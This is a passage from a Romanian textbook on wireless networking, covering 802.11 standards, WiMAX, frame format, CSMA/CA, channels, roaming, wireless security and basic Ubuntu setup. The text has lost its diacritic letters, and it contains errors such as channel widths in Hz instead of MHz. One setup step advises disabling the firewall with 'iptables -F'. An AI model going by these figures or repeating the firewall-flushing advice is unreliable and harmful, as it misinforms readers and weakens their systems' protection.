Succesul 802.11g s-a datorat i pstrrii compatibilitii cu 802.11b, tehnologia cea mai
rspndit pn atunci. Toate echipamentele 802.11g sunt compatibile cu cele b. De fapt,
acestea pot opera n ambele standarde. Astfel, s-a putut realiza o trecere comod de la b la g
prin nlocuirea treptat a echipamentelor, fr a fi necesar o investiie mare ntr-un timp
scurt.
Spre deosebire de 802.11a, banda de 54 Mbps nu are un grad att de mare de constan
datorit interferenelor mai mari din banda ISM de 2,4 GHz n raport cu cea de 5 GHz. ns
frecvena mai mic permite pstrarea calitii semnalului pe distane mult mai mari,
degradarea benzii de 54 Mbps fiind mult mai lent dect la 802.11a.
Astzi, 802.11g este ctigtorul absolut n lupta ntre standarde.
5.1.3.4 Standardul 802.11n
Una din principalele probleme cu care se confrunt reelele wireless actuale este limea
de band. Cea mai mare lime de band oferit de un standard WLAN este de 54 Mbps.
Astfel, IEEE a creat n 2003 un grup de lucru pentru dezvoltarea unui proiect care s rezolve
nevoile tot mai mari de vitez i stabilitate ale utilizatorilor. Aflat la versiunea 4.0 a draft-ului
167 | W i r e l e s s

proiectului, se ateapt ca noul standard s fie finalizat n decursul anului 2008, cel trziu
2009.
Noul standard i propune s ofere o band de 600 Mbps i o raz de acoperire de 2-4 ori
mai mare dect a standardelor actuale. n acelai timp, prin mrirea ratei de transfer i
micorarea timpului de funcionare a dispozitivului, se va diminua consumul de energie.
Pentru a crete performanele, standardul se bazeaz pe tehnologia MIMO (Multiple Input
Multiple Output) care folosete un sistem de mai multe antene pentru transmisia i recepia
datelor. O cerin important pentru noul standard este pstrarea compatibilitii cu
standardele deja existente 802.11a/b/g. Astfel, un echipament 802.11n va putea funciona fie
n banda de 2,4 GHz, fie n banda de 5 GHz.
n ciuda faptului c standardul nu este deocamdat finalizat, o serie de productori au fost
atrai de performanele teoretice oferite de noua tehnologie i au nceput deja s ofere
produse bazate pe versiunea 4.0 ale specificaiilor temporare.
5.1.4 Wireless MAN
n reele locale, standardul wireless a fost foarte bine primit de ctre pia, cunoscnd o
evoluie constant de-a lungul timpului. Din pcate, lucrurile nu stau deloc astfel n
WAN/MAN. n general se presupune ca nu exist implementri de wireless MAN, sau c
acestea exist, dar n numr foarte mic. De fapt exist multe soluii wireless MAN
implementate, ns problema este c 95% din acestea sunt proprietare. Funcioneaz cu
protocoale dezvoltate intern de ctre firmele ce dein reeaua i fiindc fiecare companie i
dezvolt propriul set de reguli, bineneles c acestea nu pot s funcioneze (comunice) ntre
ele. Singurul standard wireless dezvoltat pentru MAN este 802.16e, sau WiMAX (Worldwide
Interoperability for Microwave Access).
O conexiune Wireless MAN ofer o lime de band de pn la 70 Mbps n cazul WiMAX.
Aria de acoperire a unei staii de baz este de pn la 50 km n mod teoretic. n mediul urban
ns, este posibil o acoperire de 2-5 km pentru WiMAX Mobil. Trebuie s menionat faptul c
vederea direct (LoS Line of Sight) ntre staia de baz i terminal nu este necesar.
Dei exist posibilitatea utilizrii unor benzi neliceniate de genul celei de 5GHz, n general
se folosesc frecvene liceniate pentru a putea avea control asupra spectrului. Pot fi folosite
orice frecvene din intervalul 2-11 GHz (2-6 GHz n cazul WiMAX Mobil), ns instituiile de
standardizare recomand folosirea benzilor de 2,3 GHz, 2,5 GHz sau 3,5 GHz pentru a putea
avea o interoperabilitate a echipamentelor i, de aici, o scdere a preurilor.
Un avantaj important al WiMAX este faptul c ofer suport pentru calitatea serviciilor
(QoS - Quality of Service).
5.1.5 Implementarea reelelor wireless
5.1.5.1 Topologii wireless
WLAN-urile se clasific n dou tipuri din punct de vedere al topologiei:
Reele ad hoc
Reele de tip infrastructur
168 | R e e l e L o c a l e


5-3: Reea ad hoc
O reea ad hoc este echivalentul n Ethernet al unei reele full-mesh, n care fiecare staie
este conectat prin interfaa wireless direct la celelalte staii. Cu alte cuvinte, traficul generat
de o staie A, destinat unei staii B, trece direct de la A la B, fr un dispozitiv intermediar.

5-4: Reea infrastructur
O reea de tip infrastructur presupune existena unui dispozitiv central care se ocup de
managementul reelei wireless i prin care trec toate pachetele din reea n drumul lor de la
surs, spre destinaie. Acest dispozitiv central poate fi un acces point sau un router wireless.
5.1.5.2 Echipamente wireless de interconectare
Access point-urile, sau mai pe scurt AP-urile, joac rolul de punct central de comunicaie
ntr-o reea wireless.
De asemenea, tot ele sunt cele ce interconecteaz reelele fr fir cu infrastructura wired.
Ele dispun de o interfa wired pentru interconectarea la reeaua cu fir i una wireless pentru
comunicaia cu staiile echipate cu interfee wireless. AP-urile pot fi vzute ca i huburile din
reeaua Ethernet din punct de vedere al funcionalitii n reea.
Un AP are dou funcii de nivel 2 importante:
Asocierea clienilor presupune includerea clienilor la nivel 2 n reeaua wireless.
169 | W i r e l e s s

Autentificarea clienilor presupune verificarea identitii clienilor ce doresc s se conecteze
la reea (n cazul n care se folosete un mecanism de securitate specific)
La prima vedere, conceptul de asociere de nivel 2 la o reea poate suna confuz. ntr-o
reea unde protocolul de nivel 2 este Ethernet, nu exist conceptul de reea de nivel 2. ntr-o
topologie 802.3, noiunea de reea exist doar la nivel superior, la nivel IP. ns, ntr-o reea
wireless, conceptul de reea exist att la nivelul protocolului 802.11, ct i la nivelul
protocolului de nivel 3.
O reea wireless, este identificat la nivel 2, de un nume special, denumit n standard: SSID
(Service Set Identifier). Dac un client dorete s se asocieze cu o reea wireless (termenul de
asocierea se refer implicit la conectivitate de nivel 2), trebuie s cunoasc SSID-ul acestei
reele. Majoritatea clienilor wireless permit scanarea mediului pentru a gsi SSID-ul reelelor
la care se pot asocia. Dup ce o staie s-a asociat unei reele, se va face o cerere DHCP pentru
a obine o adres IP. Rspunsul la aceast cerere va trebui sa vin fie de la un server DHCP
dedicat aflat pe o staie n reea, fie direct de la AP (n cazul n care AP-ul are deja integrat un
server DHCP).
Routerele wireless sunt dispozitive care pot realiza n acelai timp funciile unui AP, unui
switch de nivel 2 i unui router. Aceste echipamente sunt prevzute cu:
O anten wireless - pentru ndeplinirea funciilor de AP
Unul sau mai multe porturi de LAN - aceste porturi sunt de fapt conectate ntr-un switch care
se afl nuntrul routerului wireless, acesta fiind transparent pentru utilizatori. Porturile
acestea sunt prezente pentru a putea oferi i funcionalitate de switch, ntr-o reea n care nu
toate staiile au interfee wireless. ntre oricare dintre aceste porturi se face switching.
Un port de WAN acest port este cel la care se leag conexiunea de la ISP. ntre acest port i
oricare dintre porturile de LAN, se face rutare.
Bridge-urile seamn foarte bine cu access point-urile din punctul de vedere al arhitecturii
hardware. Ele sunt folosite ns pentru interconectarea reelelor printr-o legtur wireless. Un
exemplu tipic de utilizare a bridge-urilor este realizarea unei conexiuni ntre dou cldiri.
Un bridge, asemeni unui AP, are o interfa wired i una wireless: cadrele ce vin pe una
dintre interfee sunt transmise ctre cealalt, cu eventuala translaie ntre formatele cadrelor
celor dou reele. De asemenea, un bridge poate decide s nu transmit mai departe un
pachet n cazul n care tie c destinatarul se afl n reeaua din care a venit pachetul. Un
bridge ns, nu permite asocierea nodurilor, de aceea, pentru a conecta mai multe staii
dotate cu interfee wireless, este n continuare nevoie de un access point.
5.1.5.3 PoE (Power over Ethernet)
n implementarea unei reele wireless, amplasarea AP-ului este foarte important. Locul n
care se monteaz dispozitivul central al reelei nu ar trebui s depind de nimic altceva n
afar de acoperirea ct mai bun a locaiei. ns AP-ul nu este un dispozitiv pasiv, ci are nevoie
de alimentare de la reeaua electric pentru a funciona. Din acest motiv, de multe ori AP-ul se
instaleaz de fapt acolo unde exist alimentare i nu n locul din care ar oferi acoperire
optim.
Pentru a rezolva aceast problem, multe din switchurile din prezent ofer PoE (Power
over Ethernet). Aceast tehnologie presupune transmiterea de curent electric pe aceleai fire
pe care se face i transmisia de date. Ideea nu este una nou aceasta existnd implementat i
n telefonie.
Dei tensiunea oferit este doar de 48 V, aceasta este ndeajuns pentru dispozitive precum
AP-urile sau telefoanele IP. n concluzie, folosind switchuri cu PoE, este de ajuns s se
conecteze AP-urile la acestea cu un cablu UTP, i acestea vor fi n acelai timp alimentate i
conectate la reea.
170 | R e e l e L o c a l e

Dac se dorete i mai mult minimizarea dependenei fa de reeaua electric, se poate
conecta un UPS
1
la switchul cu PoE, pstrnd astfel conectivitatea wireless n reeaua local i
n momentul n care nu exist curent electric.
5.1.6 Comunicarea wireless
5.1.6.1 Formatul cadrului 802.11
Avnd n vedere c reelele wireless sunt cel mai adesea continuate prin reele Ethernet,
unul din miturile false ale lumii reelelor de calculatoare este ca formatul cadrului este identic
n ambele standarde. n realitate modul de funcionare i cerinele unei reele wireless, sunt
destul de diferite de ceea ce presupune standardul Ethernet. n continuare se vor expune
asemnrile dintre cele 2 formate, punndu-se accent pe cadrul 802.11.

5-5: Formatul cadrului 802.11
Not: n desenul de mai sus, cifra ce se afl deasupra fiecrui cmp din cadru specific
numrul de octei ocupat n antet iar mrimea cmpurilor de sub control cadru este
exprimat n bii. Specificaiile din figura au fost extrase din standardul republicat de IEEE n
2007.
Prima observaie este c dimensiunea maxim posibil a cadrului wireless este de 2346 de
octei. Dup cum s-a specificat n capitolul 2, protocolul Ethernet nu permite un MTU mai
mare de 1518 octei. Ce se va ntmpla deci, cnd un cadru wireless de dimensiunea mai mai
mare de 1518 bytes, va intra ntr-o reea Ethernet? Cum la nivelul 2, protocolul Ethernet nu
ofer o posibilitate de fragmentare a unui cadru de dimensiune prea mare, protocolul de nivel
superior (cel mai adesea este vorba de IP) va trebui s ofere serviciul de fragmentare.
Bineneles ca acest proces va avea ntotdeauna loc n interiorul unui bridge sau AP.
Not: n general MTU-ul de pe reele wireless este setat implicit la maxim 1518 pentru a
evita procesul de fragmentare care introduce un overhead de procesare la nivelul
echipamentelor de reea.
Primul cmp din cadrul wireless este numit cadrul de control i ocup 2 octei. Cele mai
importante informaii pe care acesta le furnizeaz sunt biii de To DS
2
i From DS. Cele 4
combinaii care se pot obine din varierea valorilor acestor 2 bii ofer o interpretare unic a
celor 4 adrese MAC din cadrul wireless. n continuare se vor prezenta aceste interpretri:


1
Uninterruptible power supply dispozitive care n cazul unei pane de curent, pot oferi energie electric,
fr a ntrerupe fluxul de alimentare.
2
Distribution System termenul este echivalent cu access point.
171 | W i r e l e s s

ctre AP de la AP adresa 1 adresa 2 adresa 3 adresa 4
0 0 destinaie surs BSSID -
0 1 destinaie BSSID surs -
1 0 BSSID surs destinaie -
1 1 receptor transmitor destinaie surs
5-6: Utilizarea cmpurilor "ctre AP" i "de la AP"
Pentru o mai bun nelegere a cmpurilor de mai sus, se recomand consultarea
standardului IEEE publicat n 2007
1
.
In interiorul cadrului 802.11 este prezent i un cmp de durat. Acesta fusese creat pentru
a oferi unei staii posibilitatea de a putea comunica celorlalte staii perioada n care aceasta va
ocupa mediul. Se va analiza pe scurt un scenariu simplu pentru a releva importana acestei
faciliti.
1. Se presupune c ntr-o reea wireless, staia A vrea s transmit.
2. Aceasta va asculta mediul (Carrier Sense) i dac este liber (Multiple Access) va ncepe s
transmit completnd i cmpul de durat cu o valoare estimat.
3. Cadrul pe care staia A l va transmite va ajunge la toate staiile care sunt n raza sa de
transmisie.
4. Staia B asculta i ea mediul, cci vroia s transmit. Cnd va primi cadrul staiei A, va citi n
cmpul de durat c aceasta va ocupa mediul timp de x secunde.
5. tiind c timp de x secunde mediul va fi ocupat cu transmisia staiei A, staia B nu va mai scana
mediul n acest interval i astfel va conserva, astfel, putere.
La nceputurile standardului, ideea era una destul de practic, cci dispozitivele care sunt
n general dotate cu capabiliti wireless, au acumulatori cu timp limitat de funcionare. S-a
observat ns, c informaia de durata poate deschide reeaua la unele hibe de securitate i de
aceea cmpul de durat nu este folosit n comunicaiile din prezent.
5.1.6.2 Accesul la mediu
Reelele 802.11 se mai numesc, eronat, Wireless Ethernet. Dei cele dou tehnologii au
unele lucruri n comun, asemnri majore ntre ele nu exist nici la nivel fizic, nici la nivelul
legtur de date.
n specificaia Ethernet tehnica de acces la mediu este CSMA/CD. Aceasta ns se refer la
situaia n care mediul este comun, adic fie se utilizeaz huburi, fie topologiile erau de tip
magistral. Astzi ns, niciuna dintre situaiile acestea nu mai este ntlnit n practic: se
utilizeaz switchuri ce elimin coliziunile de pachete pe mediu, aceasta fcnd CSMA/CD
inutil. Printre beneficii se numr att comunicaia full-duplex ct i banda garantat.
n cazul reelelor wireless ne ntoarcem ns la situaia n care mediul este partajat, din
acest punct de vedere, reeaua fr fir semnnd cu o reea Ethernet bazat pe hub. Anumite
particulariti fac ns CSMA/CD s fie ineficient n cazul transmisiilor fr fir.
S consideram urmtorul exemplu: trei staii A, B i C fac parte dintr-o reea wireless
adhoc. B este n raza lui A dar C nu. A dorete s transmit ctre B.


1
http://standards.ieee.org/getieee802/download/802.11-2007.pdf
172 | R e e l e L o c a l e


5-7: Problema staiei ascunse
Dac se folosete CSMA/CD, atunci A va asculta mediul i dac nu recepioneaz semnal,
va ncepe s transmit. Ce se ntmpl dac C transmite ctre B n momentul acesta? A nu va
recepiona semnalul pentru c C nu e n raza sa de acoperire, aa c va ncepe s transmit
odat cu staia C, rezultnd astfel o coliziune pe mediu. Aceast problem se numete
problema staiei ascunse.
Pe lng acest gen de probleme, mai apare nc una, de ordin tehnic: un transceiver radio
nu poate transmite i recepiona n acelai timp. Aa c o staie nu poate asculta mediul n
timp ce transmite, pentru a vedea dac a aprut vreo coliziune.
5.1.6.2.1 CSMA/CA
n concluzie, nu putem folosi CSMA/CD pentru a asigura accesul la mediul wireless
partajat. Soluia adoptat de standard se numete CSMA/CA (Carrier Sense Multiple
Access/Collision Avoidance). Funcionarea acestui mecanism se bazeaz pe trimiterea unui
cadru special de ACK de la destinaie la surs, dup fiecare cadru 802.11 primit la destinaie.
Dac dup trimiterea unui cadru, nu se primete un ACK, se ateapt un timp aleator i se
ncearc din nou s se trimit cadrul pentru care nu s-a primit ACK. Se analizeaz modul n care
aceast metod rezolv problema staiei ascunse:
Staia A ascult mediul i nu detecteaz prezena unui semnal ncepe s transmit
Staia C face exact acelai lucru i ncepe i ea s transmit
Se produce o coliziune ntre cele dou cadre i niciunul din ele nu ajunge la staia B, deci staia
B nu trimite ACK nici staiei A, nici staiei C
Ambele staii ateapt un timp predefinit n care ateapt ACK. Dac timpul de ateptare
expir ambele staii vor atepta un timp aleatoriu numit DIFS (Distributed Interframe Spacing)
nainte sa transmit din nou.
Atenie! deoarece n wireless, pentru fiecare cadru trimis, se ateapt un ACK, banda
efectiv de care se dispune, este de la nceput njumtit.
O alt metod de acces la mediu prevzut n CSMA/CA presupune folosirea unor mesaje
speciale de tip RTS (request to send) i CTS (clear to send). Folosind acest mecanism, o staie
ntreab AP-ul dac mediul de transmisie este liber folosind un mesaj de tip RTS. Acest cadru
ajunge doar la AP. AP-ul, fiind punctul central al reelei, nu are problema staiei ascunse. Dac
mediul este liber, AP-ul trimite un CTS n care specific staia ce a obinut permisia de a
transmite. Mesajul de tip CST ajunge la toate staiile din reea, nu doar la cea care a cerut
acces la mediu prin mesajul RTS anterior. Astfel staia ce dorea s transmit va primi acces, iar
celelalte staii vor considera mediul ocupat de aceasta.
173 | W i r e l e s s

5.1.6.3 Canale de comunicaie
Dup cum se poate observa pn n acest punct, dei CSMA/CA prevede o metod de
comunicare funcional, totui nu ofer o soluie ca dou staii s poat transmite n acelai
timp, pe aceeai frecven. S-ar obine o coliziune urmat de retransmiterea pachetului. Deci,
cum se pot obine dou reele wireless, care s funcioneze n aceeai banda ISM, i care s nu
produc o coliziune sau s interfereze una cu cealalt. Rspunsul rezid n analiza limii de
band care este folosit ntr-o transmisie wireless. Limea de band este pn la urma o plaja
de frecvene n care se transmite un semnal.
Se va lua ca exemplu standardul 802.11g. Pentru a putea transmite 54 Mbps, folosind
OFDM i tehnici de transmisie n spectru mprtiat, este nevoie de o plaj de frecvene de
doar 22 Hz. Dar banda ISM de 2,4 GHz se ntinde ntre 2,401 i 2,473 Ghz (o plaj de 72 Hz).
Deci se pot transmite simultan n aceast banda ISM, 3 (72/22) fluxuri wireless separate, care
funcioneaz fiecare ntr-o band separat de 22 Hz.
Aceste benzi de 22 Hz, se numesc canale. Folosirea mai multor canale, face posibil
coexistena a dou reele wireless care funcioneaz n aceeai band ISM, n acelai domeniu
de propagare. Standardul 802.11g specific existena mai multor astfel de canale care sunt
spaiate la doar 5 MHz unul de cellalt i care se suprapun pe o band de 17 MHz. De ce sunt
prevzute mai multe canale care interfereaz unul cu cellalt, n loc de trei canale complet
independente? Pentru c se dorete posibilitate reglajului fin n cazul unei interferene de
interval mic la unul din capetele unui canal.
Lrgimea benzii ISM difer ntre standardul din America i cel din Europa. n timp ce n
America se specific intervalul 2,401 - 2,473 Ghz, n Europa se precizeaz plaja de 2,401 GHz
pn la 2,483 GHz. Cele 3 canale ce nu interfereaz sunt 1,6 i 11 n America i 1, 7 i 13 n
Europa.
n anul 2003 IEEE a publicat standardul 802.11h, care a fost ncorporat n 802.11 n 2007.
Acest amendament adus standardului original introduce i canale suplimentare n benzile UNII
pentru reelele 802.11a. n prezent, se beneficiaz de 23 de canale n Statele Unite i de 19 n
Europa.
5.1.6.4 Roaming
Colocalizarea mai multor reele poate fi folosit i n alt scop: mrirea acoperirii i benzii
unei reele wireless prin adugarea de access point-uri. Pentru a realiza acest deziderat, nu
este suficient s adugam mai multe AP-uri la reea aa cum punem mai multe becuri pentru a
face mai mult lumin. n momentul n care apar mai multe access point-uri, automat se
creeaz mai multe reele wireless. n consecin, vor aprea coliziuni ntre ele dac nu folosim
canale disjuncte.


5-8: Roaming
174 | R e e l e L o c a l e

Topologia din figur poart numele de ESS (Extended Service Set) i funcioneaz astfel:
AP-urile sunt conectate n acelai reea Ethernet i funcioneaz respectiv pe 3 canale
disjuncte (1-7-13). Astfel, cnd o staie intr n raza de acoperire a reelei, ea va fi asociat AP-
ului cu semnalul cel mai puternic din acea zona. Aici se aplic funcia de reasociere a AP-urilor.
Dac o persoan cu un PDA traverseaz de la stnga la dreapta reeaua, PDA-ul va fi asociat pe
rnd fiecruia dintre AP-uri. Spre exemplu cnd semnalul de la access point-ul 1 devine prea
slab, adaptorul va fi intrat deja n raza access point-ului 2 i va fi asociat acestuia fr
pierderea conexiunii la reea. Acest serviciu, ca i la telefonia mobil, poart numele de
roaming.
Folosind o topologie ESS, nu se extinde doar raza reelei, ci i se ofer mai mult band
clienilor mobili. Aceasta pentru c fiecare AP ofer clienilor lui pn la 54 Mbps, deci n total
ele vor constitui o reea wireless cu o band de 3x54 Mbps = 162 Mbps.
5.1.6.5 VLAN-uri
VLAN-urile se configureaz n general pe switchuri pentru a putea obine mai multe
domenii de broadcast. Aceste VLAN-uri se pot extinde i n reelele wireless prin maparea unui
SSID diferit pentru fiecare VLAN dorit . Prin aceasta operaie se obine o virtualizare a access
point-ului, acesta aprnd ca mai multe reele diferite. Singura limitare este ca toate reele
trebuie s funcioneze pe acelai canal cci un transmitor wireless nu poate genera trafic pe
mai multe canale n acelai timp. Bineneles c nu orice AP va putea s suporte VLAN-uri. De
fapt, singurul lucru de care are nevoie AP-ul, este suport pentru protocolul 802.1q, pentru a
putea realiza un trunk
1
cu switchul n care este legat. Unele AP-uri suport chiar si tehnici de
QoS (802.1p
2
) pentru a putea clasifica importana traficului din fiecare VLAN.
Un motiv important pentru care s-ar dori existena VLAN-urilor pe AP-uri este separarea
reelei wireless dup diferite privilegii de securitate (guest, user, VIP).


5-9: VLAN-uri

1
A se vedea capitolul 2
2
http://en.wikipedia.org/wiki/802.1p
175 | W i r e l e s s

5.1.7 Securitatea wireless
5.1.7.1 SSID broadcast
Fiecare reea wireless este identificat printr-un nume: aa numitul SSID (Service Set
Identifier). Pentru ca o staie s se poat asocia la o reea, ea trebuie s cunoasc SSID-ul
reelei respective. n mod normal, access point-urile anun periodic SSID-ul reelei pentru ca o
staie s verifice dac nu cumva dorete s se asocieze reelei respective. Acest proces de
anunare se numete SSID broadcast. Cunoaterea SSID-ului de ctre o staie atacatoare poate
fi un risc de securitate. Toate AP-urile ofer o setare ce permite eliminarea SSID broadcast,
fornd astfel o asociere activ (staia trebuie s specifice manual reeaua la care dorete s se
conecteze).
Dei eliminarea SSID broadcast este considerat n unele documentaii ca fiind o msura
de securitate, aceast afirmaie este eronat. Protocolul 802.11 conine n specificaii mesaje
speciale numite beacons. Aceste mesaje sunt folosite de ctre AP ca un mecanism de
verificare periodic a faptului c o staie este nc activ. Beacon-urile sunt vzute de toate
staiile din reea i conin SSID-ul reelei. Deci eliminarea SSID broadcast este o msura
complet inutil de securitate, odat ce SSID-ul poate fi aflat de atacator din aceste beacon-uri
ce nu pot fi dezactivate.
Trebuie spus totui c exist unele routere care permit eliminarea complet a SSID-ului,
att din mesajele de broadcast, ct i din beacon-uri.
5.1.7.2 Filtrare bazat pe adresa MAC
O metod foarte des folosit n reelele mici este MAC Filtering. Aceasta presupune
configurarea AP-ului astfel nct s permit accesul doar anumitor interfee wireless, pe baza
adresei MAC. Spre exemplu, dac n reeaua voastr vrei s conectai doar aceleai cinci staii,
putei configura AP-ul s accepte doar interfeele care au una dintre cele 5 adrese MAC. Nici
aceast abordare nu e mult mai sigur: adresele MAC acceptate pot fi aflate prin captura
traficului ntre ele i AP. Apoi un hacker poate schimba adresa MAC a interfeei proprii cu unul
dintre MAC-urile capturate.
Metodele prezentate mai sus, dei nu sunt foarte sigure, sunt foarte des folosite. Aceasta
nu din lipsa de cunotine sau ignoran. Cnd vine vorba despre securitate, naintea lurii
oricrei msuri, trebuie realizat o evaluare a riscului. Dac avei de realizat o reea wireless
ntr-o central nuclear, atunci merit asigurat un maxim de securitate. Dac ns avei o reea
acas i protejai o conexiune Internet, atunci msurile nu au de ce sa fie foarte drastice.
5.1.7.3 Securitatea WEP
Protocolul 802.11 include i o specificaie pentru un mecanism de securizare mai avansat:
WEP (Wired Equivalent Privacy). Dup cum spune i numele, reprezint un mecanism
specializat ce, teoretic, ar trebui s confere un nivel destul de ridicat de securitate.
WEP asigur criptarea traficului din reea printr-un algoritm de criptare simetric denumit
RC4. Pentru a securiza o reea prin acest mecanism, o cheie specific reelei (nu este acelai
lucru cu SSID) este cunoscut de ctre toate nodurile crora li se permite asocierea. n
momentul n care o staie dorete s se asocieze AP-ului, acesta verific dac staia cunoate
cheia secret printr-o secven de challenge: trimite un mesaj aleator pe care staia trebuie s-
l returneze criptat. AP-ul va decripta apoi mesajul i va verifica dac este chiar mesajul pe care
el l-a trimis iniial. Acest pas suplimentar la asociere poart numele de autentificare. Din acest
moment staia poate comunica n reea, ns cadrele comunicate vor fi toate criptate cu cheia
reelei.
176 | R e e l e L o c a l e

Din nefericire, orict de puternic ar fi criptarea i orict ar fi cheia de lung, faptul c
aceasta este static este o mare vulnerabilitate. Un hacker poate intercepta secvena de
autentificare i, cunoscnd algoritmul, va ncerca s afle cheia. Din moment ce aceasta se va
schimba foarte rar, are foarte mult timp la dispoziie s o fac.
Fiind vorba de tehnologie relativ recent, s-au fcut multe studii n legtur cu puterea
WEP-ului, descoperindu-se astfel o serie de vulnerabiliti. Totul a culminat cu spargerea
algoritmului n 2001, iar acum exist publicate pe Internet aplicaii care pot descoperi foarte
repede cheia WEP pe baza pachetelor interceptate din reea.
5.1.7.4 Securitatea WPA/WPA2
Wi-Fi Alliance este un consoriu format din peste 300 dintre cele mai mari companii din
domeniul IT, avnd ca scop promovarea i dezvoltarea tehnologiilor wireless. n 2003 Wi-Fi
Alliance a propus un nou protocol pentru securitatea reelelor: WPA (Wi-Fi Protected Access)
ce a devenit standardul de securitate pentru majoritatea echipamentelor 802.11.
WPA implementeaz un subset al specificaiilor de securitate wireless prezente n
standardul 802.11i i reprezint rspunsul industriei la ocul spargerii WEP-ului, venind cu
soluii pentru cele mai importante vulnerabiliti descoperite acestuia din urm. Cea mai
important mbuntire adus WPA-ului este folosirea unui protocol de schimbare dinamic a
cheii de criptare pe durata conexiunii: TKIP (Temporary Key Integrity Protocol). Acesta vine s
rezolve problema WEP legat de posibilitatea facil de recuperare a cheii. WPA funcioneaz
n dou moduri: personal i enterprise.
n prezent, WPA a ajuns la cea de-a doua versiune. n iunie 2004 IEEE a omologat
standardul 802.11i, venit s amendeze standardul 802.11 cu privire la securitatea n reelele
wireless. WPA2 implementeaz setul de specificaii obligatorii prezent n standardul 802.11i,
pstrnd i compatibilitatea cu prima versiune a protocolului (WPA). Recomandrile actuale n
privina securitii reelelor fr fir sunt folosirea unui sistem WPA2 Personal (AES PreShared
Key) pentru utilizatorii casnici i WPA2 Enterprise mpreun cu un server RADIUS pentru
mediul de afaceri.
n pofida existenei acestor tehnici avansate de securitate, un studiu efectuat n iunie 2007
n Londra, oraul cu cel mai mare numr de reele fr fir din lume (7130 de puncte de acces),
a artat c 19% din reelele fr fir nu aveau implementat niciun fel de sistem de protecie a
reelei. Dintre cele care ofereau un oarecare nivel de securitate, 48% erau protejate cu WEP.
Atenie! Dac parola pe care o folosii pentru securizarea reelei este slab, nu conteaz ce
algoritm sau ce standard de securitatea folosii: reeaua va putea fi spart printr-un atac de tip
brute force! De aceea se recomand citirea unui ghid
1
ce prezint cele mai bune practici n
alegerea unei parole, nainte de a configura securitatea unei reele.
5.2 Configurarea unei reele wireless n Linux configurri de baz
5.2.1 De ce wireless pe Linux?
Pe parcursul ultimilor 5 ani, s-a investit destul de mult efort att din partea comunitii ct
i din partea a diferite organizaii (Linux Foundation, WiFi Alliance, DELL) pentru a mbuntii
i a populariza Linux ca o platform mobil pentru utilizatorul final. Prezentndu-se n lumea
utilizrii sistemelor de operare ca o platform cu pretenii, odat cu apariia nevoii de
mobilitate pe piaa IT, Linux a obinut suport pentru stiva 802.11 i a ptruns i n lumea
dispozitivelor embedded, dezvoltnd platforme mpreun cu Texas Instruments i Intel.

1
http://www.ou.edu/committees/itc/policy/Guidelines_for_Passwords.html
177 | W i r e l e s s

n prezent, s-au fcut progrese reale pentru oferirea unui suport ct mai bun pentru
drivere wireless, astfel c, n prezent, Linux ofer att soluii de reele adhoc, infrastructur de
dimensiuni mici i medii ct i soluii enterprise.
Unul din proiectele interesante care i propune s mreasc gama de suport wireless n
Linux este NDISwrapper
1
. Pentru c muli productori nu elibereaz i drivere Linux pentru
plcile wireless livrate, NDISwrapper face posibil instalarea de drivere wireless scrise n
Windows API pe o platform Linux. Mai multe informaii se pot gsi pe pagina web a
proiectului.
5.2.2 Configurri de baz
Se vor prezenta n continuare, att modul de configurare ale unei reele wireless adhoc i
infrastructur, ct i modaliti de securizare pentru acestea. Dei Ubuntu ofer suport pentru
configurarea n mediul grafic, pentru exemplele de mai jos se va prefer utilizarea linie de
comand. Motivul pentru aceast alegere este lipsa de suport pe termen lung pentru clientul
de wireless pe care Ubuntu l conine i instabilitatea pe care GUI-ul o are pentru unele drivere
wireless. Folosind linia de comand, exist sigurana unei soluii independente de platform i
care va putea fi aplicat pe orice distribuie de Linux
Configurarea unei reele (att ad hoc ct i infrastructur) se poate face n dou moduri:
temporar - prin intermediul unor comenzi ce se aplic n momentul n care sunt introduse. Ele
afecteaz software-ul ce ruleaz n RAM, deci configurrile nu vor fi persistente la urmtoarea
pornire a sistemului.
permanent - prin editarea fiierului de configurare /etc/network/interfaces i
restartarea serviciului de reea. Fiierul este ncrcat la fiecare repornire a sistemului.
5.2.2.1 Pregtirea interfeei de reea
Un pachet esenial pentru acest capitol, care va fi folosit n toate configuraiile prezentate,
este wireless-tools
2
. Acesta este inclus n Ubuntu 8.04, iar n cazul unei versiuni mai vechi
de Ubuntu se poate instala uor folosind utilitarul apt:
waters@myr:-$ sudo apt-get install wireless-tools
Acest pachet conine urmtoarele utilitare:
iwconfig este un utilitar asemntor ifconfig cu ajutorul cruia se pot configura
parametrii de baz ai unei legturi wireless.
iwlist ofer posibilitatea de scanare n linie de comand pentru gsirea reelelor wireless.
iwevent permite monitorizarea interfeei wireless i raportarea unui eveniment de asociere
cu o reea wireless sau ncheierea unei scanri.
iwspy afieaz parametrii de putere i de calitate ai legturii wireless
iwpriv permite modificarea unor parametrii specifici fiecrui driver wireless

n multe cazuri, dificultatea realizrii unei reele wireless pe Linux nu const n
configurrile propriu-zise, ci n diferite incompatibiliti cu drivere, cu diferite aplicaii activate
n mod implicit n Ubuntu, sau chiar cu plci wireless pentru care nu exist nc suport n
Ubuntu. Acest subcapitol a fost creat pentru a elimina unele probleme ce ar putea ngreuna
realizarea unei reele wireless sau ar putea mpiedica setarea unor parametrii de baz.
Se vor parcurge civa pai premergtori, ce vor asigura buna funcionare a configuraiilor
din acest capitol.


1
http://ndiswrapper.sourceforge.net/joomla/
2
http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html
178 | R e e l e L o c a l e

1. Oprirea interfeei Ethernet.
Dei nu este un caz des ntlnit, unele drivere wireless nu permit configurarea reelei dac
detecteaz conectivitate pe o legtura Ethernet, deci nainte de a configura reeaua ad hoc
trebuie decuplat cablul Ethernet.
2. Oprirea firewall-ului
Trebuie asigurat c nu avei niciun firewall ( precum firestarter ), instalat i rulnd n
sistem. n Ubuntu exist un firewall implicit numit iptables. Pentru a fi siguri c reeaua nu va
fi blocat de o regul introdus accidental sau o regul ce blocheaz mai mult dect ar trebui
s o fac, se recomand tergerea tabelei de filtrare a iptables astfel:
waters@myr:-$ sudo iptables -F
3. Oprirea NetworkManager-ului
Aplicaia din Ubuntu ce se ocup cu operaiile clientului de wireless se numete
NetworkManager. Aceasta va trebui oprit nainte de a face orice configurare. Oprirea
programului se poate face prin apelarea scriptului numit 25NetworkManager cu parametrul
stop.
waters@myr:~$ sudo /etc/dbus-1/event.d/25NetworkManager stop

* Stopping network connection manager NetworkManager [ OK ]
4. Compatibilitii hardware (doar pentru realizarea unei reele ad hoc)
Se recomand verificarea pe lista

oficial de pe pagina web Ubuntu
1
dac placa wireless
suport modul ad hoc pe Ubuntu.
5. Verificarea driverului
